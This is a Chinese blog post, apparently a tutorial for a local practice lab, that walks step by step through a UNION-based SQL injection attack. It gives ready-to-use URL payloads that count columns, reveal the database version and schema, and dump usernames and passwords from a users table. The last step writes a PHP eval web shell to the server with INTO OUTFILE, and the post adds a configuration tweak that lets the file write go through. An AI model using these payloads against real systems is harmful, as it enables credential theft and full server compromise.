web渗透——SQL注入漏洞攻击步骤

版权声明:本文为博主原创文章,可以转载,但需标明转载地址、、、谢谢配合。 https://blog.csdn.net/dongxie_tk/article/details/78284792

注入思想:

1、找到注入点:判断是否有漏洞,寻找插入位置

2、构造注入语句,并在注入点注入形成新的SQL语句

3、新形成的SQL语句提交数据库处理

4、数据库执行新的SQL语句,引发注入攻击

 

操作流程

1、寻找注入点:

http://127.0.0.1/sql/1/?id=1'

 

2、爆出列数:

http://127.0.0.1/sql/1/?id=1'+ORDER+BY+4 --+

 

 

http://127.0.0.1/sql/1/?id=1'+ORDER+BY+5 --+


3、一次性显示数据库名称、版本号:

http://127.0.0.1/sql/1/?id=1'+UNION+ALL+SELECT+1,2,3,4 --+

 

http://127.0.0.1/sql/1/?id=0' UNION ALL SELECT 1,2,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),4 --+

 

4、获取库名:

http://127.0.0.1/sql/1/?id=0' UNION ALL SELECT 1,2,(SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA),4 --+

 

5、获取表名:

http://127.0.0.1/sql/1/?id=0' UNION ALL SELECT 1,2,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x7365637572697479),4 --+

 

6、获取列名:

http://127.0.0.1/sql/1/?id=-1'  UNION ALL SELECT1,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x7573657273),3,4--+

 

7、获取用户数据信息:

http://127.0.0.1/sql/1/?id=-1' UNION ALL SELECT 1,(SELECT+GROUP_CONCAT(id,username,password,lei+SEPARATOR+0x3c62723e)+FROM+security.users),3,4--+

 

8、Getshell:

http://127.0.0.1/sql/1/?id=0'  UNION ALL SELECT 1,2,3,"<?php @eval($_POST['as']); ?>" into outfile "D://Study SoftWare//phpstudy//PHPTutorial//WWW//webshell123.php" --+

 

这种情况下,是phpstudy的文件权限只可读;在数据库配置文件my.ini中的[mysqld]模块中插入secure_file_priv="D:/StudySoftWare/phpstudy/PHPTutorial/WWW"即可,其中绝对路径可以修改。

 

没有更多推荐了,返回首页